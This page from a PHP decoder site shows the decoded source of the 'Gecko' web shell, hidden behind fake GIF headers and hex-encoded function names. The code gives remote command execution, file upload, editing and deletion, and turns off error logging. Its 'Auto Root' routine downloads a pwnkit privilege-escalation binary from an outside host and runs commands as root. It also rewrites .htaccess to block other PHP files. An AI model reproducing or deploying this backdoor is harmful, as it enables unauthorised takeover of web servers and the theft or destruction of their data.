Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo eval("?>".base64_decode("CjwhLS0gR0lGODk7YSAtLT4KPCEtLSBHSUY4OTthIC0tPgo8IS0t..

Decoded Output download

None?>b'
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<?php
$Array = [
    \'7368656c6c5f65786563\',
    \'65786563\',
    \'7061737374687275\',
    \'73797374656d\',
    \'70726f635f6f70656e\',
    \'706f70656e\',
    \'70636c6f7365\',
    \'72657475726e\',
    \'73747265616d5f6765745f636f6e74656e7473\',
    \'676574637764\', // g e t c w d => 9 
    \'6368646972\', // c h d i r => 10
    \'7068705f756e616d65\', // p h p _ u n a m e => 11
    \'6973736574\',
    \'66756e6374696f6e5f657869737473\',
    \'5f6d61645f636d64\',
    \'245f5345525645525b275345525645525f4e414d45275d\',
    \'676c6f62\', // g l o b => 16
    \'69735f66696c65\', // i s _ f i l e => 17
    \'69735f646972\', // i s _ d i r => 18
    \'69735f7772697461626c65\', // i s _ w r i t e a b l e => 19
    \'69735f7265616461626c65\', // i s _ r e a d b l e => 20
    \'66696c6573697a65\', // f i l e _ s i z e => 21
    \'6765745f63757272656e745f75736572\', // user => 22
    \'5345525645525f534f465457415245\', // Server Software => 23
    \'66696c656d74696d65\', // f i l e m t i m e => 24
    \'746f756368\', // t o u c h => 25
    \'6d6b646972\', // m k d i r => 26
    \'66696c655f6765745f636f6e74656e7473\', // f i l e g e t c o n t e n t s => 27
    \'66696c655f7075745f636f6e74656e7473\', // f i l e p u t => 28
    \'726d646972\', // r m d i r => 29
    \'756e6c696e6b\', // u n l i n k => 30
    \'66696c65\', // f i l e => 31
    \'6d756c7469706172742f666f726d2d64617461\', // m u l t i p a r t / f o r m d a t a => 32
    \'444f43554d454e545f524f4f54\', // r o o t d o c => 33 
    \'68747470733a2f2f7777772e6861786f726469736c616e642e746563682f6c6f63616c726f6f742f70776e6b6974\' // Source maybe? => 34
];
$hitung_array = count($Array);
for ($i = 0; $i < $hitung_array; $i++) {
    $fungsi[] = unhex($Array[$i]);
}

if (!empty($_GET[\'download\'])) {
    $nameNyafile = basename($_GET[\'download\']);
    $pathFilenya = $fungsi[9]() . "/" . $nameNyafile;
    if (!empty($nameNyafile) && file_exists($pathFilenya)) {

        // Define Headers
        header(\'Cache-control: public\');
        header(\'Content-Description: File Transfer\');
        header(\'Content-Type: application/octet-stream\');
        header(\'Content-Disposition: attachment; filename="\' . $nameNyafile . \'"\');
        header(\'Content-Transfer-Encoding: binary\');
        /**ZHNnc2RmZ2VydHNkZmdzZGZnc2RmZ3NkZmdzZGZn**/
        readfile($pathFilenya);
        exit;
    }
}


?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Gecko [ <?= $_SERVER[\'HTTP_HOST\']; ?> ]</title>
    <link rel="shortcut icon" href="logo.png" type="image/x-icon">
    <script src=\'https://kit.fontawesome.com/057b9b510c.js\' crossorigin=\'anonymous\'></script>
    <style>
        @import url(\'https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap\');

        body {
            font-family: monospace;
            background-color: #1A1A1D;
            color: white;
        }

        a {
            text-decoration: none;
            color: white;
        }

        tr th {
            text-align: center;
            font-weight: bold;
            padding: 10px;
        }

        tr td:nth-child(3) {
            text-align: center;
        }

        tr td {
            padding: 10px;
            font-weight: bold;
        }

        thead {
            background-color: #29292e;
            color: white;
        }

        ul {
            list-style: none;
        }

        ul li {
            font-weight: bold;
        }

        h1 {
            font-family: \'Nanum Brush Script\', cursive;

        }

        tbody tr:nth-child(even) {
            background: #29292e;
        }

        .pwd {
            padding: 5px;
            background-color: #29292e;
        }

        form li {
            margin: 15px;
            margin-left: -5px;
        }

        form li input[type="file"] {
            border: 1px solid;
            padding: 3.5px 4px;
            background-color: #29292e;
            color: white;
            border-radius: 5px;
        }

        .upload-submit {
            float: left;
            padding: 6.4px 50px;
            margin-right: 10px;
            font-weight: bold;
            background-color: #29292e;
            border: none;
            color: #1e9fc7;
            box-shadow: 1.5px 1.5px #303038;
            border-radius: 3px;
        }

        .upload-submit:hover {
            background-color: #d5dbd6;
            color: black;
        }

        .link-shell:hover::after {
            content: "";
            border-bottom: 2px solid white;
            display: block;
            padding-bottom: 5px;
            margin-bottom: -7px;
            animation-name: link-shell;
            animation-duration: 0.6s;
        }

        @keyframes link-shell {
            from {
                width: 0;
            }

            to {
                width: 100%;
            }
        }

        .tool-menu li {
            display: inline-block;
            font-weight: none;
            padding: 13px 7px;
        }

        .tool-menu li a {
            padding: 7px 30px;
            color: #1e9fc7;
            background-color: #29292e;
            border-radius: 3px;
            box-shadow: 1.5px 1.5px #303038;
        }

        .tool-menu li a:hover {
            background-color: #d5dbd6;
            color: black;
            box-shadow: 1.5px 1.5px #d5dbd6;
        }

        .list-tool {
            padding: 1px;
        }

        .settings {
            float: right;
            position: relative;
            margin-top: -200px;

        }

        .settings select {
            padding: 5.5px 35px;
            background-color: #303038;
            border: none;
            color: white;
            border-radius: 4px;
        }

        .select-submit {
            padding: 6.5px 50px;
            margin-right: 10px;
            background-color: #303038;
            border: none;
            color: white;
            border-radius: 4px;
        }

        .select-submit:hover {
            background-color: #d5dbd6;
            color: black;
        }

        .action-gecko:hover {
            background-color: #d5dbd6;
            color: black;
        }

        .tool-menu-header {
            margin: -13px 0px;
        }

        .create {
            background-color: rgba(0, 0, 0, 0.3);
            position: fixed;
            display: flex;
            align-items: center;
            justify-content: center;
            top: 0;
            left: 0;
            height: 100vh;
            width: 100vw;
            animation: modal-box;
            animation-duration: 0.5s;
            animation-fill-mode: both;

        }

        @keyframes modal-box {
            from {
                opacity: 0;
            }

            to {
                opacity: 1;
            }
        }

        .modal {
            border-radius: 10px;
            background-color: white;
            color: black;
            width: 600px;
            max-width: 100%;
            padding: 18px;
        }

        .modal a {
            background-color: #29292e;
            padding: 8px 15px;
            border-radius: 3px;
        }

        .modal ul {
            float: right;
        }

        .modal ul li {
            display: inline;
        }

        .btn-modal {
            background-color: #29292e;
            color: white;
            border-radius: 3px;
            padding: 8px 15px;
            border: none;
        }

        .modal input[type="text"] {
            width: 100%;
            height: 30px;
            border-radius: 3px;
            border: 1px solid black;
        }

        .fw-bold {
            font-weight: bold;
        }

        .file-size {
            color: #1e9fc7;
        }

        th {
            color: #1e9fc7;
        }

        .fa-folder {
            color: orange;
        }

        .fa-file {
            color: #1e9fc7;
        }

        .terminal-content {
            z-index: 10;
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            width: 100%;
            height: 100vh;
            background-color: rgba(0, 0, 0, 0.5);
            animation: modal-box;
            animation-duration: 0.5s;
            animation-fill-mode: both;
            font-weight: bold;
        }

        .terminal-body {
            margin: auto;
            margin-top: 60px;
            z-index: 20;
            width: 90%;
            background: white;
            height: 65vh;
            color: black;
            border-radius: 5px;
        }

        .terminal-body header {
            text-align: center;
            padding: 4px;
            background: #1A1A1D;
            color: white;
        }

        .terminal-body header a {
            float: right;
            color: black;
            font-size: large;
            background-color: white;
            position: relative;
            z-index: 11;
            border-radius: 5px;
            margin-top: -45px;
            padding: 10px 30px;
        }

        .terminal-body header a:hover {
            background-color: #29292e;
            color: white;
            border: 1px solid #303038;
        }

        .output-terminal {
            width: 99.5%;
            height: 100%;
            color: black;
            background-color: white;
        }

        .terminal-input {
            width: 90%;
            padding: 6px;
            margin-left: 1px;
            border: none;
            border-bottom: 2px solid black;
        }

        .terminal-submit {
            margin: 2.5px;
            padding: 7.5px 25px;
            background-color: black;
            color: white;
            border: none;
            border-radius: 3px;
        }

        .pwd-body {
            padding: 15px 8px;
            font-weight: bold;
        }


        .border {
            border: 1px solid black;
            border-radius: 2px;
        }

        .file-box {
            position: fixed;
            width: 100%;
            height: 100vh;
            top: 0;
            bottom: 0;
            left: 0;
            right: 0;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1;
        }

        .file-content {
            width: 90%;
            background-color: white;
            height: 70%;
            margin: auto;
            margin-top: 20px;
            color: black;
        }

        .file-content textarea {
            width: 99.5%;
            height: 70vh;
        }

        .file-header {
            background-color: #1A1A1D;
            padding: 15px;
        }

        .file-header ul {
            list-style: none;
        }

        .file-header li {
            display: inline-block;
            margin: 0px 30px;
        }

        .file-header li:nth-child(3) {
            float: right;
            margin-right: -5px;
        }

        .file-header li:nth-child(3) a {
            color: black;
            font-size: large;
            background-color: white;
            z-index: 11;
            border-radius: 5px;
            padding: 10px 30px;
        }

        .file-header li:nth-child(3) a:hover {
            background-color: #29292e;
            color: white;
            border: 1px solid #303038;
        }

        .file-header li button {
            color: black;
            cursor: pointer;
            font-weight: bold;
            background: white;
            font-size: 15px;
            border: 1px solid white;
            padding: 10px 15px;
            margin: -10px -15px;
            border-radius: 5px;
        }

        .link-rename {
            padding: 10px 15px;
            border: 1px solid white;
            background-color: white;
            color: black;
            border-radius: 5px;
            margin: -10px -15px;
        }
    </style>
</head>
<?php
@set_time_limit(0);
@clearstatcache();
@ini_set(\'error_log\', NULL);
@ini_set(\'log_errors\', 0);
@ini_set(\'max_execution_time\', 0);
@ini_set(\'output_buffering\', 0);
@ini_set(\'display_errors\', 0);


function Redirect($url, $permanent = false)
{
    header(\'Location: \' . $url, true, $permanent ? 301 : 302);

    exit();
}



if (isset($_GET[\'dir\'])) {
    $cdir = unhex($_GET[\'dir\']);
    $fungsi[10]($cdir);
} else {
    $cdir = $fungsi[9]();
}
$get_cwd = $fungsi[9]();
$scdir = $fungsi[16]("{.[!.],}*", GLOB_BRACE);

?>

<body>
    <div class="list-shell">
        <ul>
            <li><?= $fungsi[11](); ?></li>
            <li><?= $_SERVER[$fungsi[23]]; ?></li>
            <li>Server IP : <?= $_SERVER[\'SERVER_ADDR\']; ?> & Your IP : <?= $_SERVER[\'REMOTE_ADDR\']; ?></li>
            <li>Domains : <?= symlinkDomain(); ?></li>
            <li>
                User : <?= $fungsi[22](); ?>
            </li>
            <form action="" method="post" enctype="<?= $fungsi[32] ?>">
                <li><input type="file" name="gecko-file" id=""><input type="submit" class="upload-submit" name="upload-submit" value="Upload"></li>
            </form>
        </ul>
        <div class="tool-menu-header">
            <div class="list-tool">
                <ul class="tool-menu">
                    <li><a href="?dir=<?= hex($fungsi[9]()); ?>&action=terminal" class=""><i class="fa-solid fa-terminal"></i>&nbsp;Terminal</a></li>
                    <li><a href="?dir=<?= hex($fungsi[9]()); ?>&action=root-terminal" class=""><i class="fa-solid fa-code"></i>&nbsp;Auto Root</a></li>
                    <li><a href="?dir=<?= hex($fungsi[9]()); ?>&create=file" class=""><i class="fa-solid fa-file-circle-plus"></i>&nbsp;Create File</a></li>
                    <li><a href="?dir=<?= hex($fungsi[9]()); ?>&create=folder" class=""><i class="fa-solid fa-folder-plus"></i>&nbsp;Create Folder</a></li>
                    <li><a href="https://www.exploit-db.com/search?q=Linux%20Kernel%20<?= linux_version(); ?>" class=""><i class="fa-solid fa-bug"></i>&nbsp;Localroot Suggester</a></li>
                    <li><a href="?dir=<?= hex($fungsi[9]()); ?>&backdoor=true" class=""><i class="fa-solid fa-virus"></i>&nbsp;Backdoor Destroyer</a></li>
                    <li><a href="https://github.com/MadExploits/Gecko/" class=""><i class="fa-solid fa-book"></i>&nbsp;Readme</a></li>
                </ul>
            </div>
        </div>
        <br>
    </div>
    <div class="border">
        <div class="pwd">
            <form action="" method="post">
                <div class="pwd-body">
                    <?php
                    $cwd = str_replace("\", "/", $get_cwd); // untuk dir garis windows
                    $pwd = explode("/", $cwd);
                    foreach ($pwd as $id => $val) {
                        if ($val == \'\' && $id == 0) {
                            echo \'<a href="?dir=\' . hex(\'/\') . \'"><i class="fa-solid fa-folder-plus"></i>&nbsp;/ </a>\';
                            continue;
                        }
                        if ($val == \'\') continue;
                        echo \'<a href="?dir=\';
                        for ($i = 0; $i <= $id; $i++) {
                            echo hex($pwd[$i]);
                            if ($i != $id) echo hex("/");
                        }
                        echo \'">\' . $val . \' / \' . \'</a>\';
                    }
                    ?>
                </div>
                <div class="settings">
                    <select name="action-gecko" id="" class="action-gecko">
                        <option value="delete">Delete</option>
                        <option value="unzip">Unzip</option>
                    </select>
                    <input type="submit" class="select-submit" value="Submit" name="gecko-submit">
                </div>
        </div>
        <table style="width:100%;">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Permission</th>
                    <th>Date</th>
                    <th>Action</th>
                </tr>
            </thead>
            <tbody>
                <!-- FOLDER NYA -->
                <?php foreach ($scdir as $dir) : ?>
                    <?php if ($fungsi[18]($dir)) : ?>
                        <tr>
                            <td>
                                <input type="checkbox" name="check-gecko[]" id="folder" value="<?= $dir; ?>">&nbsp;<label for="folder"><i class="fa-solid fa-folder"></i>&nbsp;<a href="?dir=<?= hex($cwd . "/" . $dir); ?>" class="link-shell"><?= $dir; ?></a>
                            </td>
                            <td>[ DIR ]</td>
                            <td><?php if ($fungsi[19]($fungsi[9]() . \'/\' . $dir)) echo \'<font color="#00ff00">\';
                                elseif (!$fungsi[20]($fungsi[9]() . \'/\' . $dir)) echo \'<font color="red">\';
                                echo perms($fungsi[9]() . \'/\' . $dir);
                                ?>
                            </td>
                            <td>
                                <?php echo date(
                                    "Y-m-d H:i",
                                    $fungsi[24]($dir)
                                ); ?>
                            </td>
                            <td>
                                <a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $dir ?>"><i class="fa-solid fa-file-pen"></i></a>&nbsp;<a href="?dir=<?= hex($fungsi[9]()) ?>&chmod=<?= $dir ?>"><i class="fa-solid fa-user-pen"></i></a>&nbsp;
                            </td>
                        </tr>
                    <?php endif; ?>
                <?php endforeach; ?>
                <!-- FILE NYA -->
                <?php foreach ($scdir as $_file) : ?>
                    <?php if ($fungsi[17]($_file)) : ?>
                        <tr>
                            <td>
                                <input type="checkbox" name="check-gecko[]" id="folder" value="<?= $_file; ?>">&nbsp;<label for="folder"><i class="fa-regular fa-file"></i>&nbsp;<a href="?dir=<?= hex($cwd . "/"); ?>&f=<?= $_file; ?>" class="link-shell"><?= $_file; ?></a>
                            </td>
                            <td><?= formatSize($fungsi[21]($_file)); ?></td>
                            <td>
                                <?php if ($fungsi[19]($fungsi[9]() . \'/\' . $_file)) {
                                    echo \'<font color="#00ff00">\';
                                } elseif (!$fungsi[20]($fungsi[9]() . \'/\' . $_file)) {
                                    echo \'<font color="red">\';
                                }
                                echo perms($fungsi[9]() . \'/\' . $_file);
                                ?>
                            </td>
                            <td>
                                <?php echo date(
                                    "Y-m-d H:i",
                                    $fungsi[24]($_file)
                                ); ?>
                            </td>
                            <td>
                                <a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $_file ?>"><i class="fa-solid fa-file-pen"></i></a>&nbsp;<a href="?dir=<?= hex($fungsi[9]()) ?>&download=<?= $_file ?>"><i class="fa-solid fa-download"></i></a>&nbsp;<a href="?dir=<?= hex($fungsi[9]()) ?>&chmod=<?= $_file ?>"><i class="fa-solid fa-user-pen"></i></a>&nbsp;
                            </td>
                        </tr>
                    <?php endif; ?>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>
    <br>
    </form>
    <?php
    if ($_GET[\'create\'] == True) :
    ?>
        <div class="create">
            <div class="modal">
                <?php if ($_GET[\'create\'] == "file") :  ?>
                    <header>
                        <h2><?= \'<i class="fa-solid fa-file-circle-plus"></i>&nbsp;Create File\'; ?></h2>
                    </header>
                    <form action="" method="post">
                        <input type="text" name="create_file" id="" placeholder="&nbsp;Nama File">
                    <?php elseif ($_GET[\'create\'] == "folder") : ?>
                        <header>
                            <h2><?= \'<i class="fa-solid fa-folder-plus">&nbsp;</i>Create Folder\'; ?></h2>
                        </header>
                        <form action="" method="post">
                            <input type="text" name="create_folder" id="" placeholder="&nbsp;Nama Folder">
                        <?php endif; ?>
                        <ul>
                            <li><input type="submit" name="submit-modal" class="btn-modal fw-bold" value="Submit"></li>
                            <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
                        </ul>
                        </form>
            </div>
        </div>
    <?php endif; ?>
    <?php
    if ($_GET[\'action\'] == "terminal") :
    ?>
        <div class="terminal-content">
            <div class="terminal">
                <div class="terminal-body">
                    <header>
                        <h3><i class="fa-solid fa-terminal"></i>&nbsp;</h3>
                        <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a>
                    </header>
                    <form action="" method="post">
                        <center>
                            <input type="text" placeholder="uname -a" name="terminal" class="terminal-input" autofocus>
                            <input type="submit" value=">" name="submit-terminal" class="terminal-submit">
                        </center>
                    </form>
                    <?php if (isset($_POST[\'submit-terminal\'])) :  ?>
                        <textarea class="output-terminal" disabled><?= htmlspecialchars($fungsi[14]($_POST[\'terminal\'] . " 2>&1")); ?></textarea>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    <?php endif; ?>
    <?php if ($_GET[\'action\'] == "root-terminal") : ?>
        <div class="terminal-content">
            <div class="terminal">
                <div class="terminal-body">
                    <header>
                        <h3><i class="fa-solid fa-terminal"></i>&nbsp;</h3>
                        <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a>
                    </header>
                    <form action="" method="post">
                        <center>
                            <input type="text" placeholder="root@terminal~#" name="terminal-root" class="terminal-input" autofocus>
                            <input type="submit" value=">" name="submit-root" class="terminal-submit">
                        </center>
                    </form>
                    <?php if (isset($_POST[\'submit-root\'])) :  ?>
                        <textarea class="output-terminal" disabled>
<?php
                        $terminal = $_POST[\'terminal-root\'];
                        if ($terminal == "root") {
                            echo "[+] Downloading The source 
";
                            echo $fungsi[14]("wget " . $fungsi[34] . " --no-check-certificate");
                            echo "[!] Chmod file pwnkit....
";
                            echo $fungsi[14]("chmod +x pwnkit");
                            echo "[+] Testing if this kernel vulnerable...
";
                            echo $fungsi[14](\'./pwnkit "id" >> mad-pwnkit\');
                            $check_vulnerable = $fungsi[27]($fungsi[9]() . "/mad-pwnkit");
                            $explode_mad_pwkit = explode(" ", $check_vulnerable);
                            if ($explode_mad_pwkit[0] == "uid=0(root)") {
                                echo "[~] This Kernel is vulnerable congrats!
";
                            } else {
                                echo "[!] This kernel is not Vulnerable Sorry :)";
                                return;
                            }
                            echo "[+] Giving Permission on mad-pwnkit
";
                            echo $fungsi[14]("chmod +x mad-pwnkit");
                            if (!$fungsi[14](\'./pwnkit "id"\')) {
                                echo "[!] Cannot running pwnkit";
                            } else {
                                echo "[!] Done Sir. now u can running on root user!";
                                exit;
                            }
                        }
                        echo htmlspecialchars($fungsi[14](\'./pwnkit "\' . $terminal . \'"\'));
?>
                        </textarea>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    <?php endif; ?>
    <?php
    if (isset($_POST[\'submit-modal\'])) {
        if ($_POST[\'create_file\']) {
            $file = $_POST[\'create_file\'];
            if ($fungsi[25]($file)) {
                echo success();
            } else {
                echo failed();
            }
        } elseif ($_POST[\'create_folder\']) {
            $folder = $_POST[\'create_folder\'];
            if ($fungsi[26]($folder)) {
                echo success();
            } else {
                echo failed();
            }
        }
    } ?>
    <br>
    <?php
    if (isset($_GET[\'f\'])) :
    ?>
        <div class="file-box">
            <div class="file-content">
                <form action="" method="post">
                    <div class="file-header">
                        <ul>
                            <li><button type="submit" name="submit-file"><i class="fa-regular fa-floppy-disk"></i>&nbsp;Save</button></li>
                            <li><a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $_GET[\'f\'] ?>" class="link-rename"><i class="fa-solid fa-pen-to-square"></i>&nbsp;Rename</a></li>
                            <li> <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a></li>
                        </ul>
                    </div>
                    <textarea name="text-file"><?php echo htmlspecialchars($fungsi[27]($_GET[\'f\'])); ?></textarea>
                </form>
            </div>
        </div>
    <?php endif; ?>
    <?php if ($_GET[\'rename\'] == True) : ?>
        <div class="create">
            <div class="modal">
                <header>
                    <h2><?= $_GET[\'rename\'] ?></h2>
                </header>
                <form action="" method="post">
                    <input type="text" name="rename" id="" placeholder="&nbsp;File/Folder">
                    <ul>
                        <li><input type="submit" name="submit-rename" class="btn-modal fw-bold" value="Submit"></li>
                        <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
                    </ul>
                </form>
            </div>
        </div>

    <?php endif; ?>
    <?php if ($_GET[\'chmod\'] == True) : ?>
        <div class="create">
            <div class="modal">
                <header>
                    <h2><?= $_GET[\'chmod\'] ?></h2>
                </header>
                <form action="" method="post">
                    <input type="number" style="width:100%" name="chmod" id="" placeholder="&nbsp;775">
                    <ul>
                        <li><input type="submit" name="submit-chmod" class="btn-modal fw-bold" value="Submit"></li>
                        <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
                    </ul>
                </form>
            </div>
        </div>
    <?php endif; ?>
</body>

</html>

<?php

if ($_GET[\'backdoor\'] == True) {
    // check if htaccess have this code
    $file_htaccess = $fungsi[27]($_SERVER[$fungsi[33]] . "/htaccess");
    $cari_code = explode(\'<\', $file_htaccess);
    if (!end($cari_code) == \'/FilesMatch>\') {
        // pengecekan nama file sekarang
        $namafile = $_SERVER[\'SCRIPT_FILENAME\'];
        $fileUtama = explode("/", $namafile);
        $htaccess_text = \'
<FilesMatch ".ph*|Ph*|pH*|PH*">
    Order Deny,Allow
    Deny from all
</FilesMatch>
<FilesMatch "\' . end($fileUtama) . \'|index.php|index.html|*.png|.htaccess">
    Order Deny, Allow
    Allow from all
</FilesMatch>\';
        $document_root = $_SERVER[$fungsi[33]];
        $cmd = $fungsi[14]("echo \'" . $htaccess_text . "\' >> " . $document_root . "/.htaccess");
        if ($cmd) {
            echo success();
        } else {
            echo failed();
        }
    } else {
        echo failed();
    }
}

if (isset($_POST[\'submit-chmod\'])) {
    $numberChmod = $_POST[\'chmod\'];
    $chm_o_d = chmod($fungsi[9] . "/" . $_GET[\'chmod\'], is_int($numberChmod));
    if ($chm_o_d) {
        echo success();
    } else {
        echo failed();
    }
}

if (isset($_POST[\'upload-submit\'])) {
    $name_file = $_FILES[\'gecko-file\'][\'name\'];
    $tmp_name = $_FILES[\'gecko-file\'][\'tmp_name\'];
    $move = move_uploaded_file($tmp_name, __DIR__ . "/" . $name_file);
    if ($move) {
        echo success();
    } else {
        echo failed();
    }
}

if (isset($_POST[\'submit-rename\'])) {
    $new_name = $_POST[\'rename\'];
    $re_name = rename($fungsi[9]() . "/" . $_GET[\'rename\'], $new_name);
    if ($re_name) {
        echo success();
    } else {
        echo failed();
    }
}

if (isset($_POST[\'submit-file\'])) {
    $textarea = $_POST[\'text-file\'];
    $write = $fungsi[28]($fungsi[9]() . "/" . $_GET[\'f\'], $textarea);
    if ($write) {
        echo success();
    } else {
        echo failed();
    }
}



if (isset($_POST[\'gecko-submit\'])) {
    $item = $_POST[\'check-gecko\'];
    if ($_POST[\'action-gecko\'] == "delete") {
        foreach ($item as $it) {
            $repl = str_replace("\", "/", $fungsi[9]()); // Untuk Windows Path
            $fd = $repl . "/" . $it;
            if ($fungsi[18]($fd) || $fungsi[17]($fd)) {
                $rmdir = unlinkDir($fd);
                $rmfile = $fungsi[30]($fd);
                if ($rmdir || $rmfile) {
                    echo success();
                } else {
                    echo failed();
                }
            }
        }
    }
}

function success()
{
    return \'<meta http-equiv="refresh" content="0;url=?dir=\' . hex($GLOBALS[\'fungsi\'][9]()) . \'&response=success">\';
}
function failed()
{
    return \'<meta http-equiv="refresh" content="0;url=?dir=\' . hex($GLOBALS[\'fungsi\'][9]()) . \'&response=failed">\';
}

function _mad_cmd($de)
{
    $out = \'\';
    try {
        if (function_exists(\'shell_exec\')) {
            return @$GLOBALS[\'fungsi\'][0]($de);
        } else if (function_exists(\'system\')) {
            @$GLOBALS[\'fungsi\'][3]($de);
        } else if (function_exists(\'exec\')) {
            $exec = array();
            @$GLOBALS[\'fungsi\'][1]($de, $exec);
            $out = @join("
", $exec);
            return $exec;
        } else if (function_exists(\'passthru\')) {
            @$GLOBALS[\'fungsi\'][2]($de);
        } else if (function_exists(\'popen\') && function_exists(\'pclose\')) {
            if (is_resource($f = @$GLOBALS[\'fungsi\'][5]($de, "r"))) {
                $out = "";
                while (!@feof($f))
                    $out .= fread($f, 1024);
                return $out;
                $GLOBALS[\'fungsi\'][6]($f);
            }
        } else if (function_exists(\'proc_open\')) {
            $pipes = array();
            $process = @$GLOBALS[\'fungsi\'][4]($de . \' 2>&1\', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
            $out = @$GLOBALS[\'fungsi\'][8]($pipes[1]);
            return $out;
        } else if (class_exists(\'COM\')) {
            $madWs = new COM(\'WScript.shell\');
            $exec = $madWs->$GLOBALS[\'fungsi\'][1](\'cmd.exe /c \' . $_POST[\'alfa1\']);
            $stdout = $exec->StdOut();
            $out = $stdout->ReadAll();
        }
    } catch (Exception $e) {
    }
    return $out;
}



function unlinkDir($dir)
{
    $dirs = array($dir);
    $files = array();
    for ($i = 0;; $i++) {
        if (isset($dirs[$i]))
            $dir =  $dirs[$i];
        else
            break;

        if ($openDir = opendir($dir)) {
            while ($readDir = @readdir($openDir)) {
                if ($readDir != "." && $readDir != "..") {

                    if ($GLOBALS[\'fungsi\'][18]($dir . "/" . $readDir)) {
                        $dirs[] = $dir . "/" . $readDir;
                    } else {

                        $files[] = $dir . "/" . $readDir;
                    }
                }
            }
        }
    }



    foreach ($files as $file) {
        $GLOBALS[\'fungsi\'][30]($file);
    }
    $dirs = array_reverse($dirs);
    foreach ($dirs as $dir) {
        $GLOBALS[\'fungsi\'][29]($dir);
    }
}

function formatSize($bytes)
{
    $types = array(\'<span class="file-size">B</span>\', \'<span class="file-size">KB</span>\', \'<span class="file-size">MB</span>\', \'<span class="file-size">GB</span>\', \'<span class="file-size">TB</span>\');
    for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++);
    return (round($bytes, 2) . " " . $types[$i]);
}

function symlinkDomain()
{
    $d0mains = @file("/etc/named.conf", false);
    if (!$d0mains) {
        $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>";
        $GLOBALS["need_to_update_header"] = "true";
    } else {
        $count = 0;
        foreach ($d0mains as $d0main) {
            if (@strstr($d0main, "zone")) {
                preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
                flush();
                if (strlen(trim($domains[1][0])) > 2) {
                    flush();
                    $count++;
                }
            }
        }
        $dom = "$count Domain";
    }
    return $dom;
}

function linux_version()
{
    $pecah = explode(" ", $GLOBALS[\'fungsi\'][11]());
    $pcah = explode("-", $pecah[2]);
    return $pcah[0];
}

function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = \'s\';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = \'l\';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = \'-\';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = \'b\';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = \'d\';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = \'c\';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = \'p\';
    } else {
        // Unknown
        $info = \'u\';
    }
    // Owner
    $info .= (($perms & 0x0100) ? \'r\' : \'-\');
    $info .= (($perms & 0x0080) ? \'w\' : \'-\');
    $info .= (($perms & 0x0040) ?
        (($perms & 0x0800) ? \'s\' : \'x\') : (($perms & 0x0800) ? \'S\' : \'-\'));
    // Group
    $info .= (($perms & 0x0020) ? \'r\' : \'-\');
    $info .= (($perms & 0x0010) ? \'w\' : \'-\');
    $info .= (($perms & 0x0008) ?
        (($perms & 0x0400) ? \'s\' : \'x\') : (($perms & 0x0400) ? \'S\' : \'-\'));

    // World
    $info .= (($perms & 0x0004) ? \'r\' : \'-\');
    $info .= (($perms & 0x0002) ? \'w\' : \'-\');
    $info .= (($perms & 0x0001) ?
        (($perms & 0x0200) ? \'t\' : \'x\') : (($perms & 0x0200) ? \'T\' : \'-\'));
    return $info;
}

function hex($n)
{
    $y = \'\';
    for ($i = 0; $i < strlen($n); $i++) {
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function unhex($y)
{
    $n = \'\';
    for ($i = 0; $i < strlen($y) - 1; $i += 2) {
        $n .= chr(hexdec($y[$i] . $y[$i + 1]));
    }
    return $n;
}
?>
'

Did this file decode correctly?

Original Code

<?php 
